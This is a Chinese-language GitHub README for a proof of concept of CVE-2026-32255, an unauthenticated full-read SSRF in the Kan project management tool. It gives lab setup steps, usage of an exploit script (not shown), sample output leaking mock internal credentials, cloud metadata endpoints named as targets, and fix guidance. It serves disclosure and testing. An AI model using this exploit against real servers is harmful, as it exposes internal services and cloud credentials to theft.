kOaDT/poc-cve-2026-32255
GitHub: kOaDT/poc-cve-2026-32255
针对 Kan 项目管理工具 CVE-2026-32255 全读 SSRF 漏洞的概念验证和利用脚本。
Stars: 2 | Forks: 0
# Kan 附件下载 SSRF (CVE-2026-32255) - 概念验证
本仓库包含 **CVE-2026-32255** 的 **概念验证 (POC)**,这是一个存在于开源项目管理工具 **[Kan](https://github.com/kanbn/kan)** 中的高危服务端请求伪造 (SSRF) 漏洞。
该易受攻击的端点允许未经身份验证的攻击者从服务器发起任意 HTTP 请求并读取完整响应,从而能够访问内部服务和云元数据端点。
## 目录
1. [漏洞详情](#vulnerability-details)
2. [运行 POC](#running-the-poc)
3. [使用漏洞利用脚本](#using-the-exploit-script)
4. [如何修复漏洞](#how-to-fix-the-vulnerability)
5. [免责声明](#disclaimer)
## 漏洞详情
### CVE 信息
- **CVE ID**: CVE-2026-32255
- **受影响版本**: Kan <= 0.5.4
- **修复版本**: 0.5.5
- **CVSS 评分**: 8.6 (高)
- **CVSS 向量**: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N`
- **CWE**: CWE-918 (服务端请求伪造)
### 描述
文件 `apps/web/src/pages/api/download/attatchment.ts` 暴露了一个 `GET /api/download/attatchment` 端点,旨在代理从 S3 存储下载的附件。该端点接受用户控制的 `url` 查询参数,并在没有任何验证或身份验证的情况下直接将其传递给服务器端的 `fetch()`:
```
const upstream = await fetch(url); // no validation on `url`
```
攻击者可以提供任何 URL,导致服务器向该目标发出 HTTP 请求并将完整的响应主体返回给客户端。这是一个全读 SSRF(非盲注),意味着攻击者可以读取完整的响应内容。
### 影响
- 访问未暴露到互联网的内部服务
- 读取云元数据端点(例如 AWS/GCP 上的 `http://169.254.169.254/`)
- 内网端口扫描
- 从内部 API 窃取敏感数据
### 参考文献
- [NVD - CVE-2026-32255](https://nvd.nist.gov/vuln/detail/CVE-2026-32255)
- [GitHub Security Advisory - GHSA-qrx8-9hc6-jvqg](https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg)
- [修复提交](https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7)
## 运行 POC
### 前置条件
- Docker 和 Docker Compose
- Bash
- curl
### 步骤 1:运行易受攻击的 Kan 实例
克隆并运行 Kan v0.5.4(最后一个易受攻击的版本):
```
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
```
配置所需的环境变量:
```
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
```
启动容器:
```
docker compose up -d
```
应用程序应该在 `http://localhost:3000` 上可用。
### 步骤 2:启动模拟内部服务
在单独的终端中,启动包含的模拟内部服务,该服务模拟一个敏感的内部 API:
```
python3 internal-service.py
```
这在端口 `8888` 上启动一个返回伪造凭证的服务器,模拟一个只能从内部网络访问的服务。在现实场景中,该服务会被隔离在防火墙后面,无法从外部访问。SSRF 允许攻击者通过服务器访问它。
### 步骤 3:运行漏洞利用
```
chmod +x exploit.sh
./exploit.sh http://localhost:3000
```
## 使用漏洞利用脚本
### 用法
```
./exploit.sh [internal-url]
```
- ``: Kan 实例的基础 URL(例如 `http://localhost:3000`)
- `[internal-url]`: 通过 SSRF 获取的内部 URL(可选,从 Docker 网桥网关自动检测)
### 示例
```
./exploit.sh http://localhost:3000
```
```
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888
[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)
[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource
Leaked content:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
```
## 如何修复漏洞
### 更新 Kan(推荐)
更新到 **Kan v0.5.5** 或更高版本,该版本在代理请求之前会根据配置的 S3 端点主机名验证 `url` 参数。
### 变通方法:在反向代理处阻止
如果您无法立即更新,请在反向代理级别阻止对易受攻击端点的外部访问。
## 免责声明
本概念验证仅用于**教育目的和经授权的安全测试**。请仅在被您拥有或获得明确书面测试许可的系统上使用此工具。
作者不对本仓库中提供的信息或工具的任何滥用行为负责。未经授权访问计算机系统是非法的。
**发现者:** [kOaDT](https://github.com/kOaDT) (koadt@proton.me)
标签:0day, CISA项目, CVE-2026-32255, CWE-918, Exploit, Kan, Maven, NVD, POC, SSRF, 云元数据泄露, 内部网络探测, 安全漏洞, 应用安全, 文件下载, 服务端请求伪造, 未授权访问, 漏洞验证, 网络安全, 请求拦截, 逆向工具, 隐私保护, 项目管理系统, 高危漏洞